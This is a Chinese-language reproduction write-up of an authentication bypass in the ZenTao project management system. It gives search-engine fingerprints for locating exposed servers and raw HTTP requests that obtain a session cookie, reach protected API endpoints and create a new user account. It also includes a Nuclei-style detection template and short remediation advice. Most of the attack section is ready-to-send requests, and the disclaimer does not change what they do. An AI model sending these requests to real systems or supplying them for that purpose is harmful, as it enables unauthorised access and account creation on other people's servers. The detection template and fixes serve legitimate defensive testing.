0x00、声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。
中华人民共和国网络安全法
第二十七条 规定
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
0x01、概述
1.1、基本信息
禅道是一款支持敏捷、瀑布、看板等多种项目模型的开源项目管理软件,可完整覆盖研发项目的需求、任务、缺陷、用例、质量、组织知识库等流程。禅道提供多个版本,包括免费的开源版、付费的企业版、旗舰版、IPD版和云禅道,以及DevOps平台版,满足不同行业和规模的项目管理需求。
1.2、问题描述
禅道系统存在身份认证绕过,在处理某些API时未能有效检查用户身份,允许未认证的用户执行某些操作,从而绕过鉴权机制。
1.3、指纹
fofa:
app="易软天创-禅道系统" || icon_hash="53755730"
title="Login - ZenTao"
hunter:
web.icon="aed2c3e20dbc00f356524ac58a817e15"
0x02、漏洞复现
2.1、获取cookie
接口:
/api.php |
/zentao/api.php |
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=jtexhqkbflxckrrolpbc&branch=luqmyuqbafmjejbvjixf HTTP/1.1
Host: {{hostname}}
测试截图:
zentaosid=e16c2177865ee834901c9a3ac995e6d0
2.2、绕过测试
GET /zentao/api.php/v1/lists HTTP/1.1
Cookie: zentaosid=mj7bhmbusq95htqmprc7812va6
Host: {{hostname}}
测试截图,对比如下:
2.3、添加用户接口测试
数据包:
POST /zentao/api.php/v1/users HTTP/1.1
Cookie: zentaosid=944207d463b13efcd8f7493e753036dd
Host: {{hostname}}
{"account":"test","password":"admin@123",
"realname":"test",
"role":"",
"group":"2"
}
测试截图:
0x03、检测POC
id: chandao_permissionbypass
info:
name: chandao_permissionbypass
author: gqqwqzq
severity: medium
description: chandao_permissionbypass api.php 接口
reference:
- https://github.com/
- https://cve.mitre.org/
metadata:
max-request: 1
shodan-query: ""
requests:
- raw:
- |+
@timeout: 30s
GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=vnkvgtkujgzdavwdejdh&branch=doizyskmvwupcvxischk HTTP/1.1
Host: {{Hostname}}
- |+
@timeout: 30s
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=vnkvgtkujgzdavwdejdh&branch=doizyskmvwupcvxischk HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- '"status":"success"'
- type: status
status:
- 200
测试截图:
0x04、修复方案
1、通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。
2、升级至不受影响的安全版本。